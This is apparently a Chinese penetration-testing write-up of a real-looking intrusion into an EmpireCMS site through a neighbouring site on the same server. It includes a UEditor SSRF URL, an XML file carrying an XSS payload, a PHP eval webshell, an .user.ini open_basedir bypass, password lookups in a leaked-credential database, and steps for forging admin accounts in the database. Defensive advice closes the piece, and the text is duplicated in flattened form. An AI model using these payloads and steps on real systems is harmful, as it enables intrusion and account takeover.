通过拿下旁站创建帝国cms后台账户
字数 1527 2025-08-27 12:33:23

帝国CMS渗透测试实战教学文档

0x01 信息收集阶段

1.1 基础信息探测

  • 目标站点:http://www.xxxxx.org.cn
  • CMS识别:通过路径特征识别为帝国CMS
    • 常见后台路径:/e/admin
    • 前台登录路径:/e/member/login/
  • 版本推测:可能为帝国CMS 7.2版本(通过页面信息推断)

1.2 端口扫描发现

  • 发现开放27017端口(MongoDB默认端口)
  • 尝试空密码连接失败(注意:可能是误报,需验证)

1.3 用户信息收集

  • 通过会员列表发现admin账户
  • 通过/e/space/?userid=1获取用户邮箱信息
  • 使用社工库(SGK)获取前台密码

0x02 漏洞利用阶段

2.1 UEditor漏洞利用

  • 发现路径:/e/data/ecmseditor/ueditor/
  • 版本确认:1.4.3(通过控制台执行console.log(UE.version)
  • SSRF漏洞:
    /e/data/ecmseditor/ueditor/php/controller.php?action=catchimage&source[]=https://www.baidu.com/img/baidu_jgylogo3.gif
    
  • 文件上传绕过:
    1. 上传图片时抓包
    2. 修改uploadimageuploadfile
    3. 修改文件后缀为xml
    4. 插入XSS payload:
    <html><head></head><body><something:script xmlns:something="http://www.w3.org/1999/xhtml">alert(1);</something:script></body></html>
    

2.2 旁站攻击

  • 通过HTTPS报错信息发现旁站:livexxxxxx.com
  • 确认同服务器(通过ping检测相同IP)
  • 旁站发现:
    • 扫码登录功能
    • 文件上传漏洞(可直接上传PHP文件)
    • 使用哥斯拉Webshell成功获取权限

0x03 权限提升与横向移动

3.1 突破目录限制

  • 环境限制:宝塔面板,disable_functions限制严格
  • 绕过方法:
    1. 创建.user.ini文件:
    open_basedir=:/
    
    1. 创建user.php文件:
    <?php eval($_POST["pass"]) ?>
    

3.2 数据库访问

  • 配置文件路径:/e/config/config.php
  • 使用哥斯拉连接数据库
  • 发现228个站点共享同一数据库

0x04 帝国CMS后台账户创建分析

4.1 账户创建问题

  • 直接数据库添加账户无法登录
  • 通过分析源码发现需要满足以下条件:
    1. enewsuser表中必须有有效记录
    2. enewsuseradd表中必须有对应的userid记录
    3. 密码加密方式为DoEmpireCMSAdminPassword($password,$salt,$salt2)

4.2 正确添加后台账户步骤

  1. 在enewsuser表中添加记录:
    • 包含username, password, salt, salt2等字段
    • password需使用DoEmpireCMSAdminPassword函数加密
  2. 在enewsuseradd表中添加对应userid的记录
  3. 确保checked=0(表示已审核)

4.3 关键验证代码分析

// 密码验证
$ch_password=DoEmpireCMSAdminPassword($password,$user_r['salt'],$user_r['salt2']);
if($user_r['password']!=$ch_password) {
    printerror("LoginFail","index.php");
}

// enewsuseradd表验证
$user_addr=$empire->fetch1("select userid,equestion,eanswer,openip,certkey from {$dbtbpre}enewsuseradd where userid='$user_r[userid]'");
if(!$user_addr['userid']) {
    printerror("LoginFail","index.php");
}

0x05 后台getshell方法

5.1 通过备份数据查看phpinfo

  • 利用后台备份功能获取服务器配置信息

5.2 系统模型导入漏洞

  • 即使功能点被隐藏,仍可通过抓包改包利用
  • 关键步骤:
    1. 拦截正常请求
    2. 修改为模型导入请求
    3. 插入恶意代码

0x06 防御建议

  1. 权限控制

    • 严格限制文件上传类型
    • 禁用不必要的PHP函数
  2. 目录安全

    • 设置正确的open_basedir
    • 防止目录遍历
  3. 帝国CMS加固

    • 修改默认后台路径
    • 及时更新补丁
    • 禁用不必要的编辑器功能
  4. 数据库安全

    • 使用强密码
    • 限制远程连接
  5. 服务器安全

    • 定期检查旁站安全性
    • 使用WAF防护常见攻击

0x07 总结

本案例展示了从信息收集到最终获取帝国CMS后台权限的完整渗透流程,重点包括:

  • 通过旁站突破获取初始权限
  • 利用.user.ini突破目录限制
  • 分析帝国CMS账户验证机制
  • 数据库直接添加后台账户的技术细节

渗透过程中体现了"迂回攻击"的思想,当直接攻击目标受阻时,通过旁站、目录突破等方式最终达成目标。

帝国CMS渗透测试实战教学文档 0x01 信息收集阶段 1.1 基础信息探测 目标站点:http://www.xxxxx.org.cn CMS识别:通过路径特征识别为帝国CMS 常见后台路径:/e/admin 前台登录路径:/e/member/login/ 版本推测:可能为帝国CMS 7.2版本(通过页面信息推断) 1.2 端口扫描发现 发现开放27017端口(MongoDB默认端口) 尝试空密码连接失败(注意:可能是误报,需验证) 1.3 用户信息收集 通过会员列表发现admin账户 通过/e/space/?userid=1获取用户邮箱信息 使用社工库(SGK)获取前台密码 0x02 漏洞利用阶段 2.1 UEditor漏洞利用 发现路径:/e/data/ecmseditor/ueditor/ 版本确认:1.4.3(通过控制台执行 console.log(UE.version) ) SSRF漏洞: 文件上传绕过: 上传图片时抓包 修改 uploadimage 为 uploadfile 修改文件后缀为xml 插入XSS payload: 2.2 旁站攻击 通过HTTPS报错信息发现旁站:livexxxxxx.com 确认同服务器(通过ping检测相同IP) 旁站发现: 扫码登录功能 文件上传漏洞(可直接上传PHP文件) 使用哥斯拉Webshell成功获取权限 0x03 权限提升与横向移动 3.1 突破目录限制 环境限制:宝塔面板,disable_ functions限制严格 绕过方法: 创建.user.ini文件: 创建user.php文件: 3.2 数据库访问 配置文件路径:/e/config/config.php 使用哥斯拉连接数据库 发现228个站点共享同一数据库 0x04 帝国CMS后台账户创建分析 4.1 账户创建问题 直接数据库添加账户无法登录 通过分析源码发现需要满足以下条件: enewsuser表中必须有有效记录 enewsuseradd表中必须有对应的userid记录 密码加密方式为 DoEmpireCMSAdminPassword($password,$salt,$salt2) 4.2 正确添加后台账户步骤 在enewsuser表中添加记录: 包含username, password, salt, salt2等字段 password需使用 DoEmpireCMSAdminPassword 函数加密 在enewsuseradd表中添加对应userid的记录 确保checked=0(表示已审核) 4.3 关键验证代码分析 0x05 后台getshell方法 5.1 通过备份数据查看phpinfo 利用后台备份功能获取服务器配置信息 5.2 系统模型导入漏洞 即使功能点被隐藏,仍可通过抓包改包利用 关键步骤: 拦截正常请求 修改为模型导入请求 插入恶意代码 0x06 防御建议 权限控制 : 严格限制文件上传类型 禁用不必要的PHP函数 目录安全 : 设置正确的open_ basedir 防止目录遍历 帝国CMS加固 : 修改默认后台路径 及时更新补丁 禁用不必要的编辑器功能 数据库安全 : 使用强密码 限制远程连接 服务器安全 : 定期检查旁站安全性 使用WAF防护常见攻击 0x07 总结 本案例展示了从信息收集到最终获取帝国CMS后台权限的完整渗透流程,重点包括: 通过旁站突破获取初始权限 利用.user.ini突破目录限制 分析帝国CMS账户验证机制 数据库直接添加后台账户的技术细节 渗透过程中体现了"迂回攻击"的思想,当直接攻击目标受阻时,通过旁站、目录突破等方式最终达成目标。